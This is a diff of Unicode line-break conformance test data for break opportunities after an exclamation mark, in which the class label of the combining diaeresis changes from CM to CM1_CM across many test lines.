-× 0021 × 0308 × 0020 × 000D ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+× 0021 × 0308 × 000D ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
+× 0021 × 0308 × 0020 × 000D ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
× 0021 × 0021 ÷ # × [0.3] EXCLAMATION MARK (EX) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
× 0021 × 0020 × 0021 ÷ # × [0.3] EXCLAMATION MARK (EX) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
-× 0021 × 0308 × 0021 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
-× 0021 × 0308 × 0020 × 0021 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
+× 0021 × 0308 × 0021 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
+× 0021 × 0308 × 0020 × 0021 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.01] EXCLAMATION MARK (EX) ÷ [0.3]
× 0021 × 00A0 ÷ # × [0.3] EXCLAMATION MARK (EX) × [12.1] NO-BREAK SPACE (GL) ÷ [0.3]
× 0021 × 0020 ÷ 00A0 ÷ # × [0.3] EXCLAMATION MARK (EX) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
-× 0021 × 0308 × 00A0 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM) × [12.2] NO-BREAK SPACE (GL) ÷ [0.3]
-× 0021 × 0308 × 0020 ÷ 00A0 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
+× 0021 × 0308 × 00A0 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM1_CM) × [12.2] NO-BREAK SPACE (GL) ÷ [0.3]
+× 0021 × 0308 × 0020 ÷ 00A0 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] NO-BREAK SPACE (GL) ÷ [0.3]
× 0021 ÷ AC00 ÷ # × [0.3] EXCLAMATION MARK (EX) ÷ [999.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
× 0021 × 0020 ÷ AC00 ÷ # × [0.3] EXCLAMATION MARK (EX) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
-× 0021 × 0308 ÷ AC00 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
-× 0021 × 0308 × 0020 ÷ AC00 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
+× 0021 × 0308 ÷ AC00 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
+× 0021 × 0308 × 0020 ÷ AC00 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GA (H2) ÷ [0.3]
× 0021 ÷ AC01 ÷ # × [0.3] EXCLAMATION MARK (EX) ÷ [999.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
× 0021 × 0020 ÷ AC01 ÷ # × [0.3] EXCLAMATION MARK (EX) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
-× 0021 × 0308 ÷ AC01 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
-× 0021 × 0308 × 0020 ÷ AC01 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
+× 0021 × 0308 ÷ AC01 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
+× 0021 × 0308 × 0020 ÷ AC01 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL SYLLABLE GAG (H3) ÷ [0.3]
× 0021 ÷ 05D0 ÷ # × [0.3] EXCLAMATION MARK (EX) ÷ [999.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
× 0021 × 0020 ÷ 05D0 ÷ # × [0.3] EXCLAMATION MARK (EX) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
-× 0021 × 0308 ÷ 05D0 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
-× 0021 × 0308 × 0020 ÷ 05D0 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
+× 0021 × 0308 ÷ 05D0 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
+× 0021 × 0308 × 0020 ÷ 05D0 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
× 0021 × 002D ÷ # × [0.3] EXCLAMATION MARK (EX) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
× 0021 × 0020 ÷ 002D ÷ # × [0.3] EXCLAMATION MARK (EX) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
-× 0021 × 0308 × 002D ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
-× 0021 × 0308 × 0020 ÷ 002D ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
+× 0021 × 0308 × 002D ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
+× 0021 × 0308 × 0020 ÷ 002D ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
× 0021 ÷ 231A ÷ # × [0.3] EXCLAMATION MARK (EX) ÷ [999.0] WATCH (ID) ÷ [0.3]
× 0021 × 0020 ÷ 231A ÷ # × [0.3] EXCLAMATION MARK (EX) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
-× 0021 × 0308 ÷ 231A ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] WATCH (ID) ÷ [0.3]
-× 0021 × 0308 × 0020 ÷ 231A ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
+× 0021 × 0308 ÷ 231A ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] WATCH (ID) ÷ [0.3]
+× 0021 × 0308 × 0020 ÷ 231A ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
× 0021 × 2024 ÷ # × [0.3] EXCLAMATION MARK (EX) × [22.02] ONE DOT LEADER (IN) ÷ [0.3]
× 0021 × 0020 ÷ 2024 ÷ # × [0.3] EXCLAMATION MARK (EX) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
-× 0021 × 0308 × 2024 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM) × [22.02] ONE DOT LEADER (IN) ÷ [0.3]
-× 0021 × 0308 × 0020 ÷ 2024 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
+× 0021 × 0308 × 2024 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM1_CM) × [22.02] ONE DOT LEADER (IN) ÷ [0.3]
+× 0021 × 0308 × 0020 ÷ 2024 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
× 0021 × 002C ÷ # × [0.3] EXCLAMATION MARK (EX) × [13.02] COMMA (IS) ÷ [0.3]
× 0021 × 0020 × 002C ÷ # × [0.3] EXCLAMATION MARK (EX) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
-× 0021 × 0308 × 002C ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM) × [13.03] COMMA (IS) ÷ [0.3]
-× 0021 × 0308 × 0020 × 002C ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
+× 0021 × 0308 × 002C ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] COMMA (IS) ÷ [0.3]
+× 0021 × 0308 × 0020 × 002C ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
× 0021 ÷ 1100 ÷ # × [0.3] EXCLAMATION MARK (EX) ÷ [999.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
× 0021 × 0020 ÷ 1100 ÷ # × [0.3] EXCLAMATION MARK (EX) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
-× 0021 × 0308 ÷ 1100 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
-× 0021 × 0308 × 0020 ÷ 1100 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
+× 0021 × 0308 ÷ 1100 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
+× 0021 × 0308 × 0020 ÷ 1100 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
× 0021 ÷ 11A8 ÷ # × [0.3] EXCLAMATION MARK (EX) ÷ [999.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
× 0021 × 0020 ÷ 11A8 ÷ # × [0.3] EXCLAMATION MARK (EX) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
-× 0021 × 0308 ÷ 11A8 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
-× 0021 × 0308 × 0020 ÷ 11A8 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
+× 0021 × 0308 ÷ 11A8 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
+× 0021 × 0308 × 0020 ÷ 11A8 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
× 0021 ÷ 1160 ÷ # × [0.3] EXCLAMATION MARK (EX) ÷ [999.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
× 0021 × 0020 ÷ 1160 ÷ # × [0.3] EXCLAMATION MARK (EX) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
-× 0021 × 0308 ÷ 1160 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
-× 0021 × 0308 × 0020 ÷ 1160 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
+× 0021 × 0308 ÷ 1160 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
+× 0021 × 0308 × 0020 ÷ 1160 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
× 0021 × 000A ÷ # × [0.3] EXCLAMATION MARK (EX) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
× 0021 × 0020 × 000A ÷ # × [0.3] EXCLAMATION MARK (EX) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-× 0021 × 0308 × 000A ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-× 0021 × 0308 × 0020 × 000A ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+× 0021 × 0308 × 000A ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+× 0021 × 0308 × 0020 × 000A ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
× 0021 × 0085 ÷ # × [0.3] EXCLAMATION MARK (EX) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
× 0021 × 0020 × 0085 ÷ # × [0.3] EXCLAMATION MARK (EX) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
-× 0021 × 0308 × 0085 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
-× 0021 × 0308 × 0020 × 0085 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
+× 0021 × 0308 × 0085 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
+× 0021 × 0308 × 0020 × 0085 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
× 0021 × 17D6 ÷ # × [0.3] EXCLAMATION MARK (EX) × [21.03] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
× 0021 × 0020 ÷ 17D6 ÷ # × [0.3] EXCLAMATION MARK (EX) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
-× 0021 × 0308 × 17D6 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM) × [21.03] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
-× 0021 × 0308 × 0020 ÷ 17D6 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
+× 0021 × 0308 × 17D6 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.03] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
+× 0021 × 0308 × 0020 ÷ 17D6 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
× 0021 ÷ 0030 ÷ # × [0.3] EXCLAMATION MARK (EX) ÷ [999.0] DIGIT ZERO (NU) ÷ [0.3]
× 0021 × 0020 ÷ 0030 ÷ # × [0.3] EXCLAMATION MARK (EX) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
-× 0021 × 0308 ÷ 0030 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] DIGIT ZERO (NU) ÷ [0.3]
-× 0021 × 0308 × 0020 ÷ 0030 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
+× 0021 × 0308 ÷ 0030 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] DIGIT ZERO (NU) ÷ [0.3]
+× 0021 × 0308 × 0020 ÷ 0030 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
× 0021 ÷ 0028 ÷ # × [0.3] EXCLAMATION MARK (EX) ÷ [999.0] LEFT PARENTHESIS (OP) ÷ [0.3]
× 0021 × 0020 ÷ 0028 ÷ # × [0.3] EXCLAMATION MARK (EX) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
-× 0021 × 0308 ÷ 0028 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] LEFT PARENTHESIS (OP) ÷ [0.3]
-× 0021 × 0308 × 0020 ÷ 0028 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
+× 0021 × 0308 ÷ 0028 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] LEFT PARENTHESIS (OP) ÷ [0.3]
+× 0021 × 0308 × 0020 ÷ 0028 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
× 0021 ÷ 0025 ÷ # × [0.3] EXCLAMATION MARK (EX) ÷ [999.0] PERCENT SIGN (PO) ÷ [0.3]
× 0021 × 0020 ÷ 0025 ÷ # × [0.3] EXCLAMATION MARK (EX) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
-× 0021 × 0308 ÷ 0025 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] PERCENT SIGN (PO) ÷ [0.3]
-× 0021 × 0308 × 0020 ÷ 0025 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
+× 0021 × 0308 ÷ 0025 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] PERCENT SIGN (PO) ÷ [0.3]
+× 0021 × 0308 × 0020 ÷ 0025 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
× 0021 ÷ 0024 ÷ # × [0.3] EXCLAMATION MARK (EX) ÷ [999.0] DOLLAR SIGN (PR) ÷ [0.3]
× 0021 × 0020 ÷ 0024 ÷ # × [0.3] EXCLAMATION MARK (EX) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
-× 0021 × 0308 ÷ 0024 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] DOLLAR SIGN (PR) ÷ [0.3]
-× 0021 × 0308 × 0020 ÷ 0024 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
+× 0021 × 0308 ÷ 0024 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] DOLLAR SIGN (PR) ÷ [0.3]
+× 0021 × 0308 × 0020 ÷ 0024 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
× 0021 × 0022 ÷ # × [0.3] EXCLAMATION MARK (EX) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
× 0021 × 0020 ÷ 0022 ÷ # × [0.3] EXCLAMATION MARK (EX) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
-× 0021 × 0308 × 0022 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
-× 0021 × 0308 × 0020 ÷ 0022 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
+× 0021 × 0308 × 0022 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM1_CM) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
+× 0021 × 0308 × 0020 ÷ 0022 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
× 0021 × 0020 ÷ # × [0.3] EXCLAMATION MARK (EX) × [7.01] SPACE (SP) ÷ [0.3]
× 0021 × 0020 × 0020 ÷ # × [0.3] EXCLAMATION MARK (EX) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
-× 0021 × 0308 × 0020 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [0.3]
-× 0021 × 0308 × 0020 × 0020 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
+× 0021 × 0308 × 0020 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [0.3]
+× 0021 × 0308 × 0020 × 0020 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
× 0021 × 002F ÷ # × [0.3] EXCLAMATION MARK (EX) × [13.02] SOLIDUS (SY) ÷ [0.3]
× 0021 × 0020 × 002F ÷ # × [0.3] EXCLAMATION MARK (EX) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
-× 0021 × 0308 × 002F ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM) × [13.03] SOLIDUS (SY) ÷ [0.3]
-× 0021 × 0308 × 0020 × 002F ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
+× 0021 × 0308 × 002F ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] SOLIDUS (SY) ÷ [0.3]
+× 0021 × 0308 × 0020 × 002F ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
× 0021 × 2060 ÷ # × [0.3] EXCLAMATION MARK (EX) × [11.01] WORD JOINER (WJ) ÷ [0.3]
× 0021 × 0020 × 2060 ÷ # × [0.3] EXCLAMATION MARK (EX) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
-× 0021 × 0308 × 2060 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM) × [11.01] WORD JOINER (WJ) ÷ [0.3]
-× 0021 × 0308 × 0020 × 2060 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
+× 0021 × 0308 × 2060 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM1_CM) × [11.01] WORD JOINER (WJ) ÷ [0.3]
+× 0021 × 0308 × 0020 × 2060 ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
× 0021 × 200B ÷ # × [0.3] EXCLAMATION MARK (EX) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
× 0021 × 0020 × 200B ÷ # × [0.3] EXCLAMATION MARK (EX) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
-× 0021 × 0308 × 200B ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
-× 0021 × 0308 × 0020 × 200B ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
+× 0021 × 0308 × 200B ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
+× 0021 × 0308 × 0020 × 200B ÷ # × [0.3] EXCLAMATION MARK (EX) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
× 0021 ÷ 1F1E6 ÷ # × [0.3] EXCLAMATION MARK (EX) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
× 0021 × 0020 ÷ 1F1E6 ÷ # × [0.3] EXCLAMATION MARK (EX) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
